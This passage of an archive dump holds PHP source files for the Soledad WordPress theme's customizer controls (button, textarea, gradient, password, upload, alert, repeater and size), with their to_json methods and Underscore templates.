					<span class="image-clickable"></span>
				</label>
			<# } #>
		</div>
		<?php
	}
}
PK     N\M!    <  inc/customizer/framework/customizer/control/class-button.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Button extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-button';

	/**
	 * The input type
	 *
	 * @access public
	 * @var string
	 */
	public $data_type = '';
	public $description = '';
	public $nonce = '';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['data_type']   = $this->data_type;
		$this->json['description'] = $this->description;
		$this->json['nonce']       = $this->nonce;
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
        <button class="button" data-ajaxurl="<?php echo admin_url( 'admin-ajax.php' ); ?>"
                data-type="{{{ data.data_type }}}" data-nonce="{{{ data.nonce }}}">{{{ data.label }}}
        </button>
        <# if ( data.description ) { #>
        <span class="description customize-control-description">
					<p>{{{ data.description }}}</p>
				</span>
        <# } #>
		<?php
	}
}
PK     N\im9    >  inc/customizer/framework/customizer/control/class-textarea.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Textarea extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-textarea';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div>
				<textarea rows="5" {{{ data.link }}}>{{ data.value }}</textarea>
			</div>
		</label>
		<?php
	}
}
PK     N\PS    >  inc/customizer/framework/customizer/control/class-gradient.phpnu [        <?php
/**
 * Customizer Control: typography
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Typography control.
 */
class Gradient extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-gradient';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$defaults = array(
			'degree'        => 0,
			'begincolor'    => false,
			'beginlocation' => 0,
			'endcolor'      => false,
			'endlocation'   => 100,
		);

		$this->json['default'] = wp_parse_args( $this->json['default'], $defaults );
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>

		<div class="wrapper">

			<div class="soledad-fw-range-degree range">
				<h5>Gradient Degree</h5>
				<input type="range" min="0" max="359" step="1" value="{{ data.value['degree'] }}" data-reset_value="0"/>
				<div class="soledad_fw_range_value">
					<span class="value">{{{ data.value['degree'] }}}</span>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>

			<div class="soledad-fw-range-begin range">
				<h5>Begin Location (in %)</h5>
				<input type="range" min="0" max="100" step="1" value="{{ data.value['beginlocation'] }}" data-reset_value="0"/>
				<div class="soledad_fw_range_value">
					<span class="value">{{{ data.value['beginlocation'] }}}</span>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>

			<div class="soledad-fw-range-end range">
				<h5>End Location (in %)</h5>
				<input type="range" min="0" max="100" step="1" value="{{ data.value['endlocation'] }}" data-reset_value="100"/>
				<div class="soledad_fw_range_value">
					<span class="value">{{{ data.value['endlocation'] }}}</span>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>

			<div class="color">
				<h5>Begin Color</h5>
				<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default['begincolor'] }}" value="{{ data.value['begincolor'] }}" class="soledad-fw-color-control soledad-fw-begin-color color-picker"/>
			</div>

			<div class="color">
				<h5>End Color</h5>
				<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default['endcolor'] }}" value="{{ data.value['endcolor'] }}" class="soledad-fw-color-control soledad-fw-end-color color-picker"/>
			</div>

		</div>
		<?php
	}
}
PK     N\X:    >  inc/customizer/framework/customizer/control/class-password.phpnu [        <?php
/**
 * Customizer Control: password.
 *
 * Creates a password
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Password control.
 */
class Password extends Text {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-password';

	/**
	 * The input type.
	 *
	 * @access public
	 * @var string
	 */
	public $input_type = 'password';
}
PK     N\/	  	  F  inc/customizer/framework/customizer/control/class-control-abstract.phpnu [        <?php
/**
 * Customizer Control: ControlAbstract
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * The parent class for all controls.
 * Other controls should extend this object.
 */
class Control_Abstract extends \WP_Customize_Control {
	/**
	 * Used to automatically generate all postMessage scripts.
	 *
	 * @access public
	 * @var array
	 */
	public $postvar = array();

	/**
	 * Used to automatically generate all CSS output.
	 *
	 * @access public
	 * @var array
	 */
	public $output = array();

	/**
	 * Data type
	 *
	 * @access public
	 * @var string
	 */
	public $option_type = 'theme_mod';

	/**
	 * Wrapper Class
	 *
	 * @var String
	 */
	public $wrapper_class;

	/**
	 * Active callback rule
	 *
	 * @var array
	 */
	public $active_rule;

	/**
	 * Partial refresh element
	 *
	 * @var
	 */
	public $partial_refresh;

	/**
	 * Check if control created dynamically
	 *
	 * @var boolean
	 */
	public $dynamic;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		} else {
			$this->json['default'] = $this->setting->default;
		}

		$this->json['value']   = $this->value();
		$this->json['choices'] = $this->choices;
		$this->json['link']    = $this->get_link();
		$this->json['id']      = $this->id;

		$this->json['postvar']         = $this->postvar;
		$this->json['wrapper_class']   = $this->wrapper_class;
		$this->json['active_rule']     = $this->active_rule;
		$this->json['output']          = $this->output;
		$this->json['partial_refresh'] = $this->partial_refresh;
		$this->json['dynamic']         = $this->dynamic;
	}

	/**
	 * Renders the control wrapper and calls $this->render_content() for the internals.
	 */
	protected function render() {
		$id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		$class = 'customize-control customize-control-soledad customize-control-' . $this->type . ' ' . implode( ' ', $this->wrapper_class );
		?>
		<li id="<?php echo esc_attr( $id ); ?>" class="<?php echo esc_attr( $class ); ?>">
		<?php $this->render_content(); ?>
		</li>
		<?php
	}

	/**
	 * Render the control's content.
	 *
	 * @see WP_Customize_Control::render_content()
	 */
	protected function render_content() {
	}
}
PK     N\Zɐ    <  inc/customizer/framework/customizer/control/class-upload.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Upload extends \WP_Customize_Upload_Control {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-upload';

	/**
	 * Used to automatically generate all postMessage scripts.
	 *
	 * @access public
	 * @var array
	 */
	public $postvar = array();

	/**
	 * Used to automatically generate all CSS output.
	 *
	 * @access public
	 * @var array
	 */
	public $output = array();

	/**
	 * Wrapper Class
	 *
	 * @var String
	 */
	public $wrapper_class;

	/**
	 * Active callback rule
	 *
	 * @var array
	 */
	public $active_rule;

	/**
	 * Partial refresh element
	 *
	 * @var
	 */
	public $partial_refresh;

	/**
	 * Check if control created dynamically
	 *
	 * @var boolean
	 */
	public $dynamic;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['postvar']         = $this->postvar;
		$this->json['wrapper_class']   = $this->wrapper_class;
		$this->json['active_rule']     = $this->active_rule;
		$this->json['output']          = $this->output;
		$this->json['partial_refresh'] = $this->partial_refresh;
		$this->json['dynamic']         = $this->dynamic;
	}
}
PK     N\AGJ  J  ;  inc/customizer/framework/customizer/control/class-alert.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Alert extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-alert';

	public function to_json() {
		parent::to_json();

		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		} else {
			$this->json['default'] = $this->setting->default;
		}
	}


	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
        <div class="customize-alert customize-alert-{{{ data.default }}}">
            <label>
                <# if ( data.label ) { #>
                <strong class="customize-control-title">{{{ data.label }}}</strong>
                <# } #>
                <# if ( data.description ) { #>
                <div class="description customize-control-description">{{{ data.description }}}</div>
                <# } #>
            </label>
        </div>
		<?php
	}
}
PK     N\ke+B  +B  >  inc/customizer/framework/customizer/control/class-repeater.phpnu [        <?php
/**
 * Customizer Control: repeater.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Repeater control
 */
class Repeater extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-repeater';

	/**
	 * The fields that each container row will contain.
	 *
	 * @access public
	 * @var array
	 */
	public $fields = array();

	/**
	 * Will store a filtered version of value for advenced fields (like images).
	 *
	 * @access protected
	 * @var array
	 */
	protected $filtered_value = array();

	/**
	 * The row label
	 *
	 * @access public
	 * @var array
	 */
	public $row_label = array();

	/**
	 * Constructor.
	 * Supplied `$args` override class property defaults.
	 * If `$args['settings']` is not defined, use the $id as the setting ID.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    {@see WP_Customize_Control::__construct}.
	 */
	public function __construct( $manager, $id, $args = array() ) {

		parent::__construct( $manager, $id, $args );

		// Set up defaults for row labels.
		$this->row_label = array(
			'type' => 'text',
			'value' => esc_attr__( 'row', 'soledad' ),
			'field' => false,
		);

		// Validating args for row labels.
		if ( isset( $args['row_label'] ) && is_array( $args['row_label'] ) && ! empty( $args['row_label'] ) ) {

			// Validating row label type.
			if ( isset( $args['row_label']['type'] ) && ( 'text' === $args['row_label']['type'] || 'field' === $args['row_label']['type'] ) ) {
				$this->row_label['type'] = $args['row_label']['type'];
			}

			// Validating row label type.
			if ( isset( $args['row_label']['value'] ) && ! empty( $args['row_label']['value'] ) ) {
				$this->row_label['value'] = esc_attr( $args['row_label']['value'] );
			}

			// Validating row label field.
			if ( isset( $args['row_label']['field'] ) && ! empty( $args['row_label']['field'] ) && isset( $args['fields'][ esc_attr( $args['row_label']['field'] ) ] ) ) {
				$this->row_label['field'] = esc_attr( $args['row_label']['field'] );
			} else {

				// If from field is not set correctly, making sure standard is set as the type.
				$this->row_label['type'] = 'text';
			}
		}

		if ( empty( $this->button_label ) ) {
			$this->button_label = esc_attr__( 'Add new', 'soledad' ) . ' ' . $this->row_label['value'];
		}

		if ( empty( $args['fields'] ) || ! is_array( $args['fields'] ) ) {
			$args['fields'] = array();
		}

		// An array to store keys of fields that need to be filtered.
		$media_fields_to_filter = array();

		foreach ( $args['fields'] as $key => $value ) {
			if ( ! isset( $value['default'] ) ) {
				$args['fields'][ $key ]['default'] = '';
			}

			if ( ! isset( $value['label'] ) ) {
				$args['fields'][ $key ]['label'] = '';
			}
			$args['fields'][ $key ]['id'] = $key;

			// We check if the filed is an uploaded media ( image , file, video, etc.. ).
			if ( isset( $value['type'] ) && ( 'image' === $value['type'] || 'cropped_image' === $value['type'] || 'upload' === $value['type'] ) ) {

				// We add it to the list of fields that need some extra filtering/processing.
				$media_fields_to_filter[ $key ] = true;
			}

			// If the field is a dropdown-pages field then add it to args.
			if ( isset( $value['type'] ) && ( 'dropdown-pages' === $value['type'] ) ) {

				$dropdown = wp_dropdown_pages(
					array(
						'name'              => '',
						'echo'              => 0,
						'show_option_none'  => esc_attr__( 'Select a Page', 'soledad' ),
						'option_none_value' => '0',
						'selected'          => '',
					)
				);

				// Hackily add in the data link parameter.
				$dropdown = str_replace( '<select', '<select data-field="'.esc_attr( $args['fields'][ $key ]['id'] ).'"' . $this->get_link(), $dropdown );

				$args['fields'][ $key ]['dropdown'] = $dropdown;
			}
		}

		$this->fields = $args['fields'];

		// Now we are going to filter the fields.
		// First we create a copy of the value that would be used otherwise.
		$this->filtered_value = $this->value();

		if ( is_array( $this->filtered_value ) && ! empty( $this->filtered_value ) ) {

			// We iterate over the list of fields.
			foreach ( $this->filtered_value as &$filtered_value_field ) {

				if ( is_array( $filtered_value_field ) && ! empty( $filtered_value_field ) ) {

					// We iterate over the list of properties for this field.
					foreach ( $filtered_value_field as $key => &$value ) {

						// We check if this field was marked as requiring extra filtering (in this case image, cropped_images, upload).
						if ( array_key_exists( $key, $media_fields_to_filter ) ) {

							// What follows was made this way to preserve backward compatibility.
							// The repeater control use to store the URL for images instead of the attachment ID.
							// We check if the value look like an ID (otherwise it's probably a URL so don't filter it).
							if ( is_numeric( $value ) ) {

								// "sanitize" the value.
								$attachment_id = (int) $value;

								// Try to get the attachment_url.
								$url = wp_get_attachment_url( $attachment_id );

								$filename = basename( get_attached_file( $attachment_id ) );

								// If we got a URL.
								if ( $url ) {

									// 'id' is needed for form hidden value, URL is needed to display the image.
									$value = array(
										'id'  => $attachment_id,
										'url' => $url,
										'filename' => $filename,
									);
								}
							}
						}
					}
				}
			}
		}
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();

		$fields = $this->fields;

		$this->json['fields'] = $fields;
		$this->json['row_label'] = $this->row_label;

		// If filtered_value has been set and is not empty we use it instead of the actual value.
		if ( is_array( $this->filtered_value ) && ! empty( $this->filtered_value ) ) {
			$this->json['value'] = $this->filtered_value;
		}
	}

	/**
	 * Render the control's content.
	 * Allows the content to be overriden without having to rewrite the wrapper in $this->render().
	 *
	 * @access protected
	 */
	protected function render_content() {
		?>
		<label>
			<?php if ( ! empty( $this->label ) ) : ?>
				<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
			<?php endif; ?>
			<?php if ( ! empty( $this->description ) ) : ?>
				<span class="description customize-control-description"><?php echo wp_kses( $this->description, wp_kses_allowed_html() ); ?></span>
			<?php endif; ?>
			<input type="hidden" <?php $this->input_attrs(); ?> value="" <?php echo wp_kses_post( $this->get_link() ); ?> />
		</label>

		<ul class="repeater-fields"></ul>

		<?php if ( isset( $this->choices['limit'] ) ) : ?>
			<p class="limit"><?php printf( esc_attr__( 'Limit: %s rows', 'soledad' ), esc_html( $this->choices['limit'] ) ); ?></p>
		<?php endif; ?>
		<div class="repeater-add-wrapper">
        	<button class="button button-large button-primary repeater-add"><i class="fa fa-plus"></i></button>	
        </div>

		<?php

		$this->repeater_js_template();
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 * Class variables for this control class are available in the `data` JS object.
	 *
	 * @access public
	 */
	public function repeater_js_template() {
		?>
		<script type="text/html" class="customize-control-repeater-content">
			<# var field; var index = data.index; #>

			<li class="repeater-row minimized" data-row="{{{ index }}}">

				<div class="repeater-row-header">
					<span class="repeater-row-label"></span>
					<i class="dashicons dashicons-arrow-down repeater-minimize"></i>
				</div>
				<div class="repeater-row-content">
					<# _.each( data, function( field, i ) { #>

						<div class="repeater-field repeater-field-{{{ field.type }}}">

							<# if ( 'text' === field.type || 'url' === field.type || 'email' === field.type || 'tel' === field.type || 'date' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
									<input type="{{field.type}}" name="" value="{{{ field.default }}}" data-field="{{{ field.id }}}">
								</label>

							<# } else if ( 'hidden' === field.type ) { #>

								<input type="hidden" data-field="{{{ field.id }}}" <# if ( field.default ) { #> value="{{{ field.default }}}" <# } #> />

							<# } else if ( 'checkbox' === field.type ) { #>

								<label>
									<input type="checkbox" value="true" data-field="{{{ field.id }}}" <# if ( field.default ) { #> checked="checked" <# } #> /> {{ field.label }}
									<# if ( field.description ) { #>
										{{ field.description }}
									<# } #>
								</label>

							<# } else if ( 'select' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
									<select data-field="{{{ field.id }}}">
										<# _.each( field.choices, function( choice, i ) { #>
											<option value="{{{ i }}}" <# if ( field.default == i ) { #> selected="selected" <# } #>>{{ choice }}</option>
										<# }); #>
									</select>
								</label>

							<# } else if ( 'dropdown-pages' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{{ data.label }}}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{{ field.description }}}</span>
									<# } #>
									<div class="customize-control-content repeater-dropdown-pages">{{{ field.dropdown }}}</div>
								</label>

							<# } else if ( 'radio' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>

									<# _.each( field.choices, function( choice, i ) { #>
										<label>
											<input type="radio" name="{{{ field.id }}}{{ index }}" data-field="{{{ field.id }}}" value="{{{ i }}}" <# if ( field.default == i ) { #> checked="checked" <# } #>> {{ choice }} <br/>
										</label>
									<# }); #>
								</label>

							<# } else if ( 'radio-image' === field.type ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>

									<# _.each( field.choices, function( choice, i ) { #>
										<input type="radio" id="{{{ field.id }}}_{{ index }}_{{{ i }}}" name="{{{ field.id }}}{{ index }}" data-field="{{{ field.id }}}" value="{{{ i }}}" <# if ( field.default == i ) { #> checked="checked" <# } #>>
											<label for="{{{ field.id }}}_{{ index }}_{{{ i }}}">
												<img src="{{ choice }}">
											</label>
										</input>
									<# }); #>
								</label>

							<# } else if ( 'color' === field.type ) { #>

								<# var defaultValue = '';
								if ( field.default ) {
									if ( '#' !== field.default.substring( 0, 1 ) ) {
										defaultValue = '#' + field.default;
									} else {
										defaultValue = field.default;
									}
									defaultValue = ' data-default-color=' + defaultValue; // Quotes added automatically.
								} #>
								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{{ field.label }}}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{{ field.description }}}</span>
									<# } #>
									<input class="color-picker-hex" type="text" maxlength="7" placeholder="<?php echo esc_attr__( 'Hex Value', 'soledad' ); ?>"  value="{{{ field.default }}}" data-field="{{{ field.id }}}" {{ defaultValue }} />

								</label>

							<# } else if ( 'textarea' === field.type ) { #>

								<# if ( field.label ) { #>
									<span class="customize-control-title">{{ field.label }}</span>
								<# } #>
								<# if ( field.description ) { #>
									<span class="description customize-control-description">{{ field.description }}</span>
								<# } #>
								<textarea rows="5" data-field="{{{ field.id }}}">{{ field.default }}</textarea>

							<# } else if ( field.type === 'image' || field.type === 'cropped_image' ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
								</label>

								<figure class="soledad-fw-image-attachment" data-placeholder="<?php echo esc_attr__( 'No Image Selected', 'soledad' ); ?>" >
									<# if ( field.default ) { #>
										<# var defaultImageURL = ( field.default.url ) ? field.default.url : field.default; #>
										<img src="{{{ defaultImageURL }}}">
									<# } else { #>
										<?php echo esc_attr__( 'No Image Selected', 'soledad' ); ?>
									<# } #>
								</figure>

								<div class="actions">
									<button type="button" class="button remove-button<# if ( ! field.default ) { #> hidden<# } #>"><?php echo esc_attr__( 'Remove', 'soledad' ); ?></button>
									<button type="button" class="button upload-button" data-label=" <?php echo esc_attr__( 'Add Image', 'soledad' ); ?>" data-alt-label="<?php echo esc_attr__( 'Change Image', 'soledad' ); ?>" >
										<# if ( field.default ) { #>
											<?php echo esc_attr__( 'Change Image', 'soledad' ); ?>
										<# } else { #>
											<?php echo esc_attr__( 'Add Image', 'soledad' ); ?>
										<# } #>
									</button>
									<# if ( field.default.id ) { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default.id }}}" data-field="{{{ field.id }}}" >
									<# } else { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default }}}" data-field="{{{ field.id }}}" >
									<# } #>
								</div>

							<# } else if ( field.type === 'upload' ) { #>

								<label>
									<# if ( field.label ) { #>
										<span class="customize-control-title">{{ field.label }}</span>
									<# } #>
									<# if ( field.description ) { #>
										<span class="description customize-control-description">{{ field.description }}</span>
									<# } #>
								</label>

								<figure class="soledad-fw-file-attachment" data-placeholder="<?php echo esc_attr__( 'No File Selected', 'soledad' ); ?>" >
									<# if ( field.default ) { #>
										<# var defaultFilename = ( field.default.filename ) ? field.default.filename : field.default; #>
										<span class="file"><span class="dashicons dashicons-media-default"></span> {{ defaultFilename }}</span>
									<# } else { #>
										<?php echo esc_attr__( 'No File Selected', 'soledad' ); ?>
									<# } #>
								</figure>

								<div class="actions">
									<button type="button" class="button remove-button<# if ( ! field.default ) { #> hidden<# } #>"><?php echo esc_attr__( 'Remove', 'soledad' ); ?></button>
									<button type="button" class="button upload-button" data-label="<?php echo esc_attr__( 'Add File', 'soledad' ); ?>" data-alt-label="<?php echo esc_attr__( 'Change File', 'soledad' ); ?>" >
										<# if ( field.default ) { #>
											<?php echo esc_attr__( 'Change File', 'soledad' ); ?>
										<# } else { #>
											<?php echo esc_attr__( 'Add File', 'soledad' ); ?>
										<# } #>
									</button>
									<# if ( field.default.id ) { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default.id }}}" data-field="{{{ field.id }}}" >
									<# } else { #>
										<input type="hidden" class="hidden-field" value="{{{ field.default }}}" data-field="{{{ field.id }}}" >
									<# } #>
								</div>

							<# } #>

						</div>
					<# }); #>
					<button type="button" class="button-link repeater-row-remove"><?php echo esc_attr__( 'delete', 'soledad' ); ?></button>
				</div>
			</li>
		</script>
		<?php
	}
}
PK     N\Slx  x  :  inc/customizer/framework/customizer/control/class-size.phpnu [        <?php

namespace SoledadFW\Customizer\Control;
class Size extends Control_Abstract {
	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-size';
	public $description = '';
	public $sub_description = '';
	public $ids = [];

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$devices = array( 'desktop', 'mobile' );
		foreach ( $devices as $device ) {
			$this->json['choices'][ $device ]['min']     = ( isset( $this->choices[ $device ]['min'] ) ) ? $this->choices[ $device ]['min'] : '0';
			$this->json['choices'][ $device ]['max']     = ( isset( $this->choices[ $device ]['max'] ) ) ? $this->choices[ $device ]['max'] : '100';
			$this->json['choices'][ $device ]['step']    = ( isset( $this->choices[ $device ]['step'] ) ) ? $this->choices[ $device ]['step'] : '1';
			$this->json['choices'][ $device ]['edit']    = ( isset( $this->choices[ $device ]['edit'] ) ) ? $this->choices[ $device ]['edit'] : false;
			$this->json['choices'][ $device ]['unit']    = ( isset( $this->choices[ $device ]['unit'] ) ) ? $this->choices[ $device ]['unit'] : false;
			$this->json['choices'][ $device ]['default'] = ( isset( $this->choices[ $device ]['default'] ) ) ? $this->choices[ $device ]['default'] : '';
		}

		foreach ( $this->ids as $setting_key => $setting_id ) {
			$value                      = get_theme_mod( $setting_id );
			$default                    = ( isset( $this->choices[ $setting_key ]['default'] ) ) ? $this->choices[ $setting_key ]['default'] : '';
			$this->json[ $setting_key ] = array(
				'link'  => $this->get_link( $setting_id ),
				'value' => $value ? $value : $default,
			);
		}

		$this->json['desktop_label'] = __( 'Desktop', 'soledad' );
		$this->json['mobile_label']  = __( 'Mobile', 'soledad' );
		$this->json['reset_label']   = __( 'Reset', 'soledad' );

		$this->json['description']     = $this->description;
		$this->json['sub_description'] = $this->sub_description;
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
        <div class="pencidesign-range-slider-control">
            <div class="pencidesign-range-inner<# if ( ! data.choices['desktop']['unit'] ) { #> penci-wider-width<# } #>">
                <div class="penci-range-lableparent">
                    <# if ( data.label || data.description ) { #>
                    <div class="penci-range-title-info">
                        <# if ( data.label ) { #>
                        <span class="customize-control-title">{{{ data.label }}}</span>
                        <# } #>

                        <# if ( data.description ) { #>
                        <p class="customize-control-description description penci-range-lable">{{{ data.description }}}</p>
                        <# } #>
                    </div>
                    <# } #>
                    <# if ( data.sub_description ) { #>
                    <p class="description sub-description">{{{ data.sub_description }}}</p>
                    <# } #>
                </div>

                <div class="penci-control-process">
                    <div class="penci-range-title-area">
                        <div class="penci-range-slider-controls">
								<span class="penci-device-controls">
									<# if ( 'undefined' !== typeof ( data.desktop ) ) { #>
										<span class="pencidesign-device-desktop dashicons dashicons-desktop"
                                              data-option="desktop" title="{{ data.desktop_label }}"></span>
									<# } #>

									<# if ( 'undefined' !== typeof (data.mobile) ) { #>
										<span class="pencidesign-device-mobile dashicons dashicons-smartphone"
                                              data-option="mobile" title="{{ data.mobile_label }}"></span>
									<# } #>
								</span>

                            <span title="{{ data.reset_label }}"
                                  class="pencidesign-reset dashicons dashicons-image-rotate"></span>
                        </div>
                    </div>

                    <div class="penci-range-slider-areas">
                        <# if ( 'undefined' !== typeof ( data.desktop ) ) { #>
                        <label class="range-option-area" data-option="desktop" style="display: none;">
                            <div class="wrapper <# if ( '' !== data.choices['desktop']['unit'] ) { #>has-unit<# } #>">
                                <div class="penci_range_value <# if ( '' == data.choices['desktop']['unit'] && ! data.choices['desktop']['edit'] ) { #>hide-value<# } #>">
                                    <input <# if ( data.choices['desktop']['edit'] ) { #>style="display:inline-block;"<#
                                    } else { #>style="display:none;"<# } #> type="number" step="{{
                                    data.choices['desktop']['step'] }}" class="desktop-range value" value="{{
                                    data.desktop.value }}" min="{{ data.choices['desktop']['min'] }}" max="{{
                                    data.choices['desktop']['max'] }}" {{{ data.desktop.link }}} data-reset_value="{{
                                    data.choices['desktop']['default'] }}" />
                                    <span <# if ( ! data.choices['desktop']['edit'] ) {
                                    #>style="display:inline-block;"<# } else { #>style="display:none;"<# } #>
                                    class="value">{{ data.desktop.value }}</span>
                                    <# if ( data.choices['desktop']['unit'] ) { #>
                                    <span class="unit">{{ data.choices['desktop']['unit'] }}</span>
                                    <# } #>
                                </div>
                            </div>
                        </label>
                        <# } #>

                        <# if ( 'undefined' !== typeof ( data.mobile ) ) { #>
                        <label class="range-option-area" data-option="mobile" style="display:none;">
                            <div class="wrapper <# if ( '' !== data.choices['mobile']['unit'] ) { #>has-unit<# } #>">
                                <div class="penci_range_value <# if ( '' == data.choices['mobile']['unit'] && ! data.choices['desktop']['edit'] ) { #>hide-value<# } #>">
                                    <input <# if ( data.choices['mobile']['edit'] ) { #>style="display:inline-block;"<#
                                    } else { #>style="display:none;"<# } #> type="number" step="{{
                                    data.choices['mobile']['step'] }}" class="mobile-range value" value="{{
                                    data.mobile.value }}" min="{{ data.choices['mobile']['min'] }}" max="{{
                                    data.choices['mobile']['max'] }}" {{{ data.mobile.link }}} data-reset_value="{{
                                    data.choices['mobile']['default'] }}" />
                                    <span <# if ( ! data.choices['mobile']['edit'] ) { #>style="display:inline-block;"<#
                                    } else { #>style="display:none;"<# } #> class="value">{{ data.mobile.value }}</span>
                                    <# if ( data.choices['mobile']['unit'] ) { #>
                                    <span class="unit">{{ data.choices['mobile']['unit'] }}</span>
                                    <# } #>
                                </div>
                            </div>
                        </label>
                        <# } #>
                    </div>
                </div>
            </div>
        </div>
		<?php
	}
}
